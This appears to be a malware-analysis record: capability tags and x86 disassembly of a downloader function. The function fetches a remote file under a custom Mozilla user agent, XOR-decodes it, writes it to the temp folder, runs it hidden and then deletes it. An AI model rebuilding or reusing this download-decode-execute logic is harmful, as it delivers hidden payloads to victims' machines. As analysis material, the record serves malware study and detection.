Function at 0x406121
Capabilities:
Create http request
Create process on windows
Delete file
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Self delete
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffeb6c
mov dword [ebp - 0x100c], 0
push 0
push 0x32
lea eax, [ebp - 0x107d]
push eax
call fcn.00407690
lea eax, [ebp - 8]
push eax
call sub.KERNEL32.DLL_GetSystemTimeAsFileTime
push dword [ebp - 8]
push 0x4092eb
push 0x4135b9
call sub.user32.dll_wsprintfA
add esp, 0xc
lea eax, [ebp - 0x1008]
push eax
push 0x7d0
call sub.KERNEL32.DLL_GetTempPathA
push 0x4135b9
lea eax, [ebp - 0x1008]
push eax
call sub.KERNEL32.DLL_lstrcatA
call fcn.00403479
push 0x4329c6
push dword [ebp + 8]
push 0x40b5b9
call sub.user32.dll_wsprintfA
add esp, 0xc
push 0
push 0x20
push 2
push 0
push 3
push 0x40000000
lea eax, [ebp - 0x1008]
push eax
call sub.KERNEL32.DLL_CreateFileA
cmp eax, 0xffffffff
je 0x406352
mov dword [ebp - 0x1014], eax
push 0
push 0
push 0
push 0
push str.Mozilla_4.0__SPGK_
call sub.wininet.dll_InternetOpenA
or eax, eax
je 0x406345
mov dword [ebp - 0x1088], eax
push 0
push 0x80000000
push 0
push 0
push 0x40b5b9
push dword [ebp - 0x1088]
call sub.wininet.dll_InternetOpenUrlA
mov dword [ebp - 0x108c], eax
or eax, eax
je 0x406345
mov dword [ebp - 0x100c], 1
push 0x424ff8
push 4
lea eax, [ebp - 0x148d]
push eax
push dword [ebp - 0x108c]
call sub.wininet.dll_InternetReadFile
lea edi, [ebp - 0x148d]
mov eax, dword [edi]
cmp eax, 0x23232323
jne 0x406336
push 0x424ff8
push 1
lea eax, [ebp - 0x1019]
push eax
push dword [ebp - 0x108c]
call sub.wininet.dll_InternetReadFile
push 0x424ff8
push 0x10
lea eax, [ebp - 0x107d]
push eax
push dword [ebp - 0x108c]
call sub.wininet.dll_InternetReadFile
lea eax, [ebp - 0x107d]
push eax
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x424f64
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
lea eax, [ebp - 0x107d]
push eax
call fcn.004074dc
mov dword [ebp - 0x1084], eax
jmp 0x406327
push 0x424ff8
push 0x400
lea eax, [ebp - 0x148d]
push eax
push dword [ebp - 0x108c]
call sub.wininet.dll_InternetReadFile
or eax, eax
je 0x406345
cmp dword [0x424ff8], 0
je 0x406345
mov dword [ebp - 0x1494], 0x400
lea edi, [ebp - 0x148d]
jmp 0x4062f9
mov al, byte [edi]
xor al, byte [ebp - 0x1019]
mov byte [edi], al
inc edi
dec dword [ebp - 0x1494]
cmp dword [ebp - 0x1494], 0
jne 0x4062e8
mov eax, dword [0x424ff8]
sub dword [ebp - 0x1084], eax
push 0
push 0x424ff8
push eax
lea eax, [ebp - 0x148d]
push eax
push dword [ebp - 0x1014]
call sub.KERNEL32.DLL_WriteFile
cmp dword [ebp - 0x1084], 0
jne 0x4062ad
jmp 0x406345
push 0x424f68
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push dword [ebp - 0x1014]
call sub.KERNEL32.DLL_CloseHandle
jmp 0x406361
push 0x424f6c
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
cmp dword [ebp - 0x100c], 0
je 0x4063f0
mov dword [0x426606], 0x44
push 0x426606
call sub.KERNEL32.DLL_GetStartupInfoA
mov dword [0x426632], 1
mov word [0x426636], 5
push 0x42664a
push 0x426606
push 0
push 0
push 0
push 1
push 0
push 0
lea eax, [ebp - 0x1008]
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessA
or eax, eax
je 0x4063e1
push 0x424f70
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
cmp dword [0x432dd6], 0x32
jne 0x4063f0
mov dword [0x432dd6], 0x33
jmp 0x4063f0
push 0x424f74
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
push 0x2710
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0x1008]
push eax
call sub.KERNEL32.DLL_DeleteFileA
or eax, eax
je 0x40641b
push str.del_
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
jmp 0x40642a
push 0x424f80
push 0x426666
call sub.KERNEL32.DLL_lstrcatA
mov eax, dword [ebp - 0x100c]
leave
ret 4